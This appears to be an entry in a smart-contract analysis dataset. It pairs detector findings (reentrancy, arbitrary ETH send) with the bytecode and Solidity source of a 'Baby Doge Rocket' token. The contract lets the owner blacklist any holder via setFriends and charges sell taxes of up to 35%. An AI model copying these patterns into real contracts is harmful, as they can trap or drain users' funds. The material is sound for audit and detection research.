ffffffffffffffffffffffff1614155b8015611b475750600f60169054906101000a900460ff165b15611b6f57611b5581611e27565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e848484846121e6565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612f01565b60405180910390fd5b5060008385611c8b91906132ba565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfb600a611ced60048661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d26573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8a600a611d7c60068661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db5573d6000803e3d6000fd5b5050565b6000600654821115611e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df790612f43565b60405180910390fd5b6000611e0a612213565b9050611e1f818461219c90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e85577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb35781602001602082028036833780820191505090505b5090503081600081518110611ef1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9357600080fd5b505afa158015611fa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fcb9190612970565b81600181518110612005577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d09594939291906130be565b600060405180830381600087803b1580156120ea57600080fd5b505af11580156120fe573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121345760009050612196565b600082846121429190613260565b9050828482612151919061322f565b14612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890612fc3565b60405180910390fd5b809150505b92915050565b60006121de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223e565b905092915050565b806121f4576121f36122a1565b5b6121ff8484846122d2565b8061220d5761220c61249d565b5b50505050565b60008060006122206124af565b91509150612237818361219c90919063ffffffff16565b9250505090565b60008083118290612285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227c9190612f01565b60405180910390fd5b5060008385612294919061322f565b9050809150509392505050565b60006008541480156122b557506000600954145b156122bf576122d0565b600060088190555060006009819055505b565b6000806000806000806122e48761250e565b95509550955095509550955061234286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124238161261d565b61242d84836126da565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248a91906130a3565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000678ac7230489e8000090506124e3678ac7230489e8000060065461219c90919063ffffffff16565b82101561250157600654678ac7230489e8000093509350505061250a565b81819350935050505b9091565b600080600080600080600080600061252a8a600854600c612714565b925092509250600061253a612213565b9050600080600061254d8e8787876127aa565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b60008082846125ce91906131d9565b905083811015612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260a90612f83565b60405180910390fd5b8091505092915050565b6000612627612213565b9050600061263e828461212190919063ffffffff16565b905061269281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ef8260065461257590919063ffffffff16565b60068190555061270a816007546125bf90919063ffffffff16565b6007819055505050565b6000806000806127406064612732888a61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061276a606461275c888b61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061279382612785858c61257590919063ffffffff16565b61257590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c3858961212190919063ffffffff16565b905060006127da868961212190919063ffffffff16565b905060006127f1878961212190919063ffffffff16565b9050600061281a8261280c858761257590919063ffffffff16565b61257590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284661284184613158565b613133565b9050808382526020820190508285602086028201111561286557600080fd5b60005b85811015612895578161287b888261289f565b845260208401935060208301925050600181019050612868565b5050509392505050565b6000813590506128ae81613796565b92915050565b6000815190506128c381613796565b92915050565b600082601f8301126128da57600080fd5b81356128ea848260208601612833565b91505092915050565b600081359050612902816137ad565b92915050565b600081519050612917816137ad565b92915050565b60008135905061292c816137c4565b92915050565b600081519050612941816137c4565b92915050565b60006020828403121561295957600080fd5b60006129678482850161289f565b91505092915050565b60006020828403121561298257600080fd5b6000612990848285016128b4565b91505092915050565b600080604083850312156129ac57600080fd5b60006129ba8582860161289f565b92505060206129cb8582860161289f565b9150509250929050565b6000806000606084860312156129ea57600080fd5b60006129f88682870161289f565b9350506020612a098682870161289f565b9250506040612a1a8682870161291d565b9150509250925092565b60008060408385031215612a3757600080fd5b6000612a458582860161289f565b9250506020612a568582860161291d565b9150509250929050565b600060208284031215612a7257600080fd5b600082013567ffffffffffffffff811115612a8c57600080fd5b612a98848285016128c9565b91505092915050565b600060208284031215612ab357600080fd5b6000612ac1848285016128f3565b91505092915050565b600060208284031215612adc57600080fd5b6000612aea84828501612908565b91505092915050565b600060208284031215612b0557600080fd5b6000612b138482850161291d565b91505092915050565b600080600060608486031215612b3157600080fd5b6000612b3f86828701612932565b9350506020612b5086828701612932565b9250506040612b6186828701612932565b9150509250925092565b6000612b778383612b83565b60208301905092915050565b612b8c816132ee565b82525050565b612b9b816132ee565b82525050565b6000612bac82613194565b612bb681856131b7565b9350612bc183613184565b8060005b83811015612bf2578151612bd98882612b6b565b9750612be4836131aa565b925050600181019050612bc5565b5085935050505092915050565b612c0881613300565b82525050565b612c1781613343565b82525050565b6000612c288261319f565b612c3281856131c8565b9350612c42818560208601613355565b612c4b8161348f565b840191505092915050565b6000612c636023836131c8565b9150612c6e826134a0565b604082019050919050565b6000612c86602a836131c8565b9150612c91826134ef565b604082019050919050565b6000612ca96022836131c8565b9150612cb48261353e565b604082019050919050565b6000612ccc601b836131c8565b9150612cd78261358d565b602082019050919050565b6000612cef601d836131c8565b9150612cfa826135b6565b602082019050919050565b6000612d126021836131c8565b9150612d1d826135df565b604082019050919050565b6000612d356020836131c8565b9150612d408261362e565b602082019050919050565b6000612d586029836131c8565b9150612d6382613657565b604082019050919050565b6000612d7b6025836131c8565b9150612d86826136a6565b604082019050919050565b6000612d9e6024836131c8565b9150612da9826136f5565b604082019050919050565b6000612dc16017836131c8565b9150612dcc82613744565b602082019050919050565b6000612de46011836131c8565b9150612def8261376d565b602082019050919050565b612e038161332c565b82525050565b612e1281613336565b82525050565b6000602082019050612e2d6000830184612b92565b92915050565b6000604082019050612e486000830185612b92565b612e556020830184612b92565b9392505050565b6000604082019050612e716000830185612b92565b612e7e6020830184612dfa565b9392505050565b600060c082019050612e9a6000830189612b92565b612ea76020830188612dfa565b612eb46040830187612c0e565b612ec16060830186612c0e565b612ece6080830185612b92565b612edb60a0830184612dfa565b979650505050505050565b6000602082019050612efb6000830184612bff565b92915050565b60006020820190508181036000830152612f1b8184612c1d565b905092915050565b60006020820190508181036000830152612f3c81612c56565b9050919050565b60006020820190508181036000830152612f5c81612c79565b9050919050565b60006020820190508181036000830152612f7c81612c9c565b9050919050565b60006020820190508181036000830152612f9c81612cbf565b9050919050565b60006020820190508181036000830152612fbc81612ce2565b9050919050565b60006020820190508181036000830152612fdc81612d05565b9050919050565b60006020820190508181036000830152612ffc81612d28565b9050919050565b6000602082019050818103600083015261301c81612d4b565b9050919050565b6000602082019050818103600083015261303c81612d6e565b9050919050565b6000602082019050818103600083015261305c81612d91565b9050919050565b6000602082019050818103600083015261307c81612db4565b9050919050565b6000602082019050818103600083015261309c81612dd7565b9050919050565b60006020820190506130b86000830184612dfa565b92915050565b600060a0820190506130d36000830188612dfa565b6130e06020830187612c0e565b81810360408301526130f28186612ba1565b90506131016060830185612b92565b61310e6080830184612dfa565b9695505050505050565b600060208201905061312d6000830184612e09565b92915050565b600061313d61314e565b90506131498282613388565b919050565b6000604051905090565b600067ffffffffffffffff82111561317357613172613460565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e48261332c565b91506131ef8361332c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322457613223613402565b5b828201905092915050565b600061323a8261332c565b91506132458361332c565b92508261325557613254613431565b5b828204905092915050565b600061326b8261332c565b91506132768361332c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132af576132ae613402565b5b828202905092915050565b60006132c58261332c565b91506132d08361332c565b9250828210156132e3576132e2613402565b5b828203905092915050565b60006132f98261330c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061334e8261332c565b9050919050565b60005b83811015613373578082015181840152602081019050613358565b83811115613382576000848401525b50505050565b6133918261348f565b810181811067ffffffffffffffff821117156133b0576133af613460565b5b80604052505050565b60006133c48261332c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f7576133f6613402565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61379f816132ee565b81146137aa57600080fd5b50565b6137b681613300565b81146137c157600080fd5b50565b6137cd8161332c565b81146137d857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f19ac4ff19501bc8370c2f2d4e7a678d0a3537eff8b9151c898ad9225a4c2ac564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,352
0x3d9e895074ee6bd91d4af3a810287ed9be5d0705
/** *Submitted for verification at Etherscan.io on 2021-07-05 */ /** * * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BabyDogeRocket is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _friends; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Baby Doge Rocket"; string private constant _symbol = unicode" BDR "; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _feeRate = 5; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; address payable private _marketingFixedWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private launchBlock = 0; uint256 private buyLimitEnd; struct User { uint256 buyCD; uint256 sellCD; uint256 lastBuy; uint256 buynumber; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _marketingFixedWalletAddress = marketingFixedWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; _isExcludedFromFee[marketingFixedWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_friends[from] && !_friends[to]); if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _friends[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _friends[to] = true; } } if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,0,0,0,true); } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.timestamp > trader[to].lastBuy + (30 minutes)) { trader[to].buynumber = 0; } if (trader[to].buynumber == 0) { trader[to].buynumber++; _taxFee = 5; _teamFee = 5; } else if (trader[to].buynumber == 1) { trader[to].buynumber++; _taxFee = 4; _teamFee = 4; } else if (trader[to].buynumber == 2) { trader[to].buynumber++; _taxFee = 3; _teamFee = 3; } else if (trader[to].buynumber == 3) { trader[to].buynumber++; _taxFee = 2; _teamFee = 2; } else { //fallback _taxFee = 5; _teamFee = 5; } trader[to].lastBuy = block.timestamp; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (45 seconds); } trader[to].sellCD = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired."); } uint256 total = 35; if(block.timestamp > trader[from].lastBuy + (3 hours)) { total = 10; } else if (block.timestamp > trader[from].lastBuy + (1 hours)) { total = 15; } else if (block.timestamp > trader[from].lastBuy + (30 minutes)) { total = 20; } else if (block.timestamp > trader[from].lastBuy + (5 minutes)) { total = 25; } else { //fallback total = 35; } _taxFee = (total.mul(4)).div(10); _teamFee = (total.mul(6)).div(10); if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(4)); _marketingFixedWalletAddress.transfer(amount.div(4)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); launchBlock = block.number; } function setFriends(address[] memory friends) public onlyOwner { for (uint i = 0; i < friends.length; i++) { if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) { _friends[friends[i]] = true; } } } function delFriend(address notfriend) public onlyOwner { _friends[notfriend] = false; } function isFriend(address ad) public view returns (bool) { return _friends[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } // might return outdated counter if more than 30 mins function buyTax(address buyer) public view returns (uint) { return ((5 - trader[buyer].buynumber).mul(2)); } function sellTax(address ad) public view returns (uint) { if(block.timestamp > trader[ad].lastBuy + (3 hours)) { return 10; } else if (block.timestamp > trader[ad].lastBuy + (1 hours)) { return 15; } else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) { return 20; } else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) { return 25; } else { return 35; } } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280601081526020017f4261627920446f676520526f636b657400000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73fffffffffffffff